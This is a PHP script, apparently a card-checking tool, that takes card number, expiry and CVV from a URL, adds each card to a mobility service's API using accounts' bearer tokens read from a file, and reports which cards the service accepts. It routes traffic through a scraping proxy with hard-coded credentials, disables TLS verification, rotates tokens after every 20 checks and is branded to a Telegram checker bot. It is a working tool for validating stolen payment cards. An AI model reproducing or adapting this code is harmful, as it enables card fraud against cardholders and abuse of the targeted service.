<?php

header('Content-Type: text/plain; charset=utf-8');

$timestamp_start = microtime(true);

// BotBot API ayarları
$BASE_URL = "https://api.botbot.com.tr/api/v1";
$HEADERS_BASE = array(
    "accept: application/json, text/plain, */*",
    "Accept-Encoding: gzip",
    "Connection: Keep-Alive",
    "Content-Type: application/json",
    "Host: api.botbot.com.tr",
    "source: VoltBot",
    "User-Agent: okhttp/4.9.2"
);

function send_request($url, $method = 'GET', $data = null, $headers = null) {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // Proxy ayarları
    curl_setopt($ch, CURLOPT_PROXY, 'rp.scrapegw.com:6060');
    curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'ccb7t99f1xa6q6v:e88zmabjie6wuek');
    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
    
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        if ($data) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
        }
    }
    
    if ($headers) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return array(
        'status_code' => $httpCode,
        'response' => $response,
        'json' => json_decode($response, true)
    );
}

function read_tokens_from_file() {
    $tokens = array();
    
    $token_file = __DIR__ . '/tokenhesap.txt';
    if (file_exists($token_file)) {
        $lines = file($token_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        
        foreach ($lines as $line) {
            if (strpos($line, '|') !== false) {
                $parts = explode('|', $line);
                if (count($parts) >= 3) {
                    $email = trim(explode(':', $parts[1])[1]);
                    $token = trim(explode(':', $parts[2])[1]);
                    $tokens[] = array('email' => $email, 'token' => $token);
                }
            }
        }
    }
    
    return $tokens;
}

function add_card($token, $card_number, $expire_month, $expire_year, $cvv) {
    global $BASE_URL, $HEADERS_BASE;
    
    $url = $BASE_URL . "/cards";
    $headers = array_merge($HEADERS_BASE, array("authorization: Bearer " . $token));
    
    $payload = array(
        "cardName" => "efe ef",
        "cardNumber" => $card_number,
        "cvv" => $cvv,
        "expireMonth" => $expire_month,
        "expireYear" => $expire_year
    );
    
    $response = send_request($url, 'POST', $payload, $headers);
    return $response;
}

// Counter dosyasını oku
function read_counter() {
    $counter_file = __DIR__ . '/counter2.txt';
    if (file_exists($counter_file)) {
        return (int)trim(file_get_contents($counter_file));
    }
    return 0;
}

// Counter'ı artır
function increment_counter() {
    $counter_file = __DIR__ . '/counter2.txt';
    $current = read_counter();
    $new_count = $current + 1;
    file_put_contents($counter_file, $new_count);
    return $new_count;
}

// Counter'ı sıfırla
function reset_counter() {
    $counter_file = __DIR__ . '/counter2.txt';
    file_put_contents($counter_file, '0');
}

// Gerekirse token yenile (20 check sonrası)
function renew_token_if_needed() {
    $count = read_counter();
    
    if ($count >= 20) {
        // Sessizce token yenile
        @file_get_contents('http://localhost/yenicheckbotaerithia/apiler/auth1/volt.php');
        sleep(8); // Token yenilenirken bekle
        reset_counter();
    }
}

// Ana program
// Counter kontrolü ve gerekirse token yenileme
renew_token_if_needed();

// URL parametrelerini kontrol et
if (!isset($_GET['kart'])) {
    die("❌ Kullanım: voltkart.php?kart=CC|MM|YY|CVV\n");
}

// Kart bilgilerini parse et
$card_parts = explode('|', $_GET['kart']);
if (count($card_parts) < 4) {
    die("❌ Format: KART|AY|YIL|CVV\n");
}

list($card_number, $expire_month, $expire_year, $cvv) = $card_parts;

// CVV kontrolü
if ($cvv === '000') {
    $elapsed = round(microtime(true) - $timestamp_start, 2);
    die("❌ GEN YASAK | {$card_number}|{$expire_month}|{$expire_year}|{$cvv} ({$elapsed}s) 𝐕𝐎𝐋𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n");
}

// Yıl formatını düzenle (4 haneli ise son 2 hanesini al)
if (strlen($expire_year) == 4) {
    $expire_year = substr($expire_year, -2);
}

$bin = substr($card_number, 0, 6);

// BIN API'den kart bilgilerini al
$bin_api_url = "http://localhost/yenicheckbotaerithia/apiler/binapi.php?bin=$bin";
$bin_response = @file_get_contents($bin_api_url);

// BIN bilgilerini parse et
$bin_data = json_decode($bin_response, true);
$bin_info = "$bin | Unknown";
if ($bin_data && isset($bin_data['bin'])) {
    $bin_info = $bin_data['bin'] . " | " . 
                ($bin_data['country'] ?? 'N/A') . " | " . 
                ($bin_data['bank'] ?? 'N/A') . " | " . 
                ($bin_data['type'] ?? 'N/A') . " " . 
                ($bin_data['level'] ?? 'N/A');
}

// Token'ları dosyadan oku
$tokens = read_tokens_from_file();

if (empty($tokens)) {
    die("$card_number|$expire_month|$expire_year|$cvv | ❌Token Bulunamadı (0.00s) [Counter: 0]");
}

// İlk token ile test et
$token_data = $tokens[0];
$token = $token_data['token'];
$result = add_card($token, $card_number, $expire_month, $expire_year, $cvv);

// Counter'ı artır (her check sonrası)
increment_counter();

$sure = round(microtime(true) - $timestamp_start, 2);

// API yanıtını parse et
$api_response = $result['json'];

if ($api_response && isset($api_response['hasError'])) {
    if ($api_response['hasError'] === false) {
        // Başarılı - Kart eklendi
        echo "$card_number|$expire_month|$expire_year|$cvv | ✅Kart Eklendi ({$sure}s)";
    } else {
        // Hata - Gerçek hata mesajını göster
        $error_msg = $api_response['error'] ?? 'Unknown Error';
        
        echo "$card_number|$expire_month|$expire_year|$cvv | ❌Kart Eklenemedi ({$sure}s)";
        
        // Eğer beklenmeyen hata ise token yenileme yap (arka planda)
        if (strpos($error_msg, 'Beklenmeyen bir hata oluştu') !== false) {
            @file_get_contents('http://localhost/yenicheckbotaerithia/apiler/auth1/volt.php');
        }
    }
    
} else {
    echo "$card_number|$expire_month|$expire_year|$cvv | ❌Response Alınamadı ({$sure}s)";
}

?>
